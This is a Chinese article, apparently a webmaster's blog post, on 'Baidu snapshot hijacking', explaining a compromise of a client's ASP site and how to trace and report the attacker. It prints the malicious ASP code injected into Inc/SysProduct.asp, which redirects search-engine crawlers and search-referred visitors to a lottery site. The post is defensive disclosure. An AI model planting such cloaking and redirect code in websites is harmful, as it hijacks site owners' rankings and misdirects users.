百度快照劫持
写本篇文章的目的在于揭露一种黑客作弊的手段，也给那些疏于企业网站安全的站长提一个醒。同时提供一种追找黑客行踪的简单方法。
前几日，我的客户电话说自己的百度排名没有了，查询下竟然百度标签显示的内容是一家彩票平台的网站内容。 我知道网站被黑客加入了非法代码，恶意篡改了百度快照。(截图如下)
查看“百度快照”出现的是一组跳转网站的广告内容。我们对客户设置的网站信息消失了。
1、黑客是如何修改百度快照的呢?
我进行了排查，客户的网站是使用asp源码开发的。发现有个文件被黑客写入了一段代码。
路径：Inc文件夹—SysProduct.asp文件里面最底下添加了如下代码：
<%
function Getbot()
dim s_agent
GetBot=""
s_agent=request.ServerVariables("HTTP_USER_AGENT")
if instr(1,s_agent,"Googlebot",1) > 0 then
GetBot="google"
end if
if instr(1,s_agent,"baiduspider",1) > 0 then
GetBot="baidu"
end if
end function
if GetBot="baidu" or GetBot="google" then
'
response.Redirect "http://*********"（跳转的网站，引导百度抓取的内容）
else
'
response.write"<script type=""text/javascript"">var d=document.referrer;var re=/((wd|q|w|p|query)(=)([%A-Z0-9]*)(%E4%B8%A4%E5%85%83%E5%BD%A9%E7%A5%A8|%E4%B8%A4%E5%85%83%E5%BD%A9%E7%A5%A8%E7%BD%91|%E4%B8%A4%E5%85%83%E5%BD%A9%E7%A5%A8%E5%AE%98%E7%BD%91|%E4%B8%A4%E5%85%83%E5%BD%A9%E7%A5%A8%E5%B9%B3%E5%8F%B0))/;if(re.test(d)){self.location='http://*********';（目标网站）window.adworkergo='ad_APP6'}else{}</script>"
end if
%>
黑客设置的这串代码导致百度爬虫抓取网页的时候，直接抓取越过客户网站抓取了跳转网站内容，导致百度快照里面显示的是别的内容。使得客户本来排名首页的网站直接被百度屏蔽了。造成了客户很大的损失。
2、那么黑客是如何进入后台的呢?
黑客要进入后台，必须知道FTP账户和密码，以及IP地址。
造成的原因有如下几种：
3、网站被黑之后，你如何追查黑客的来源?
方法比较简单，就是查询你跳转的目标网站的域名信息。一般情况下，都是一些小型的站长开发的赚钱网站，通过查询域名信息你可以获知该域名的归属人是谁，他有可能就是黑你网站的人。
如果是比较大型的网站利用外包的方式进行推广，那么你也可以得知负责人，给百度或者是网络警察举报一下，该网站存在恶意攻击修改内容的行为，毕竟它也有一定得责任。
通过中国万网Whois域名查询：比如我客户跳转的彩票网站的域名信息如下：
1)第一个是：注册人
2)第二个是：联系电话
3)第三个是：联系邮箱
基本上你联系注册人就可以解决问题。如果对你客户造成的损失太大的话，建议你通过以下方式进行维权：
违法和不良信息举报中心：http://net.china.cn/
12321网络不良与垃圾信息举报受理中心：http://www.12321.cn/
国家互联网应急中心网络安全举报中心：http://www.cert.org.cn/
中国反钓鱼网站联盟认定及处理流程： http://www.cnnic.cn/
公安部信息网络安全报警网站：http://www.cyberpolice.cn/wfjb/
中国扫黄打非网：http://www.shdf.gov.cn/
北京市公安局网络违法犯罪举报网站：http://www.bj.cyberpolice.cn/index.jsp
希望本篇文章对你防黑有帮助。
感谢【网牛天下】的精彩分享
为价值买单(第四期)：
如您觉得本文对您有价值，可自愿为本文作者打赏，金额随意，1元不嫌少，100不嫌多，您的打赏会直接进入作者支付宝帐户，也会激励作者创造出更优秀的内容。
相关阅读
运营离增长黑客遥远么？并不远。今天聊一下增长黑客。 增长黑客是近年来国外很火热的一个词汇，顾名思义，它负责和驱动一切业务指标的
今年4月份，美国的快餐品牌汉堡王推出了一个很诡异的广告。在这个广告里，卖汉堡的小哥对着镜头说：“我只有不到20秒钟的时间，然后我非
封面脑图d《增长黑客》详解—–5分钟读完版本 Growth Hacking的定义Growth Hacking（增长黑客）它指的是一种用户增长的方
《增长黑客》作为网上众推的运营必看一本书，究竟有什么独特之处？本文包含关于《增长黑客》的简单介绍、内容知识导图框架梳理以及8
本文作者：鉴锋，运营深度精选 CEO，操盘过「网易戏精课程」「三联生活周刊」等传播案例。本文根据鉴锋在「GrowingIO 2018 增长大会上
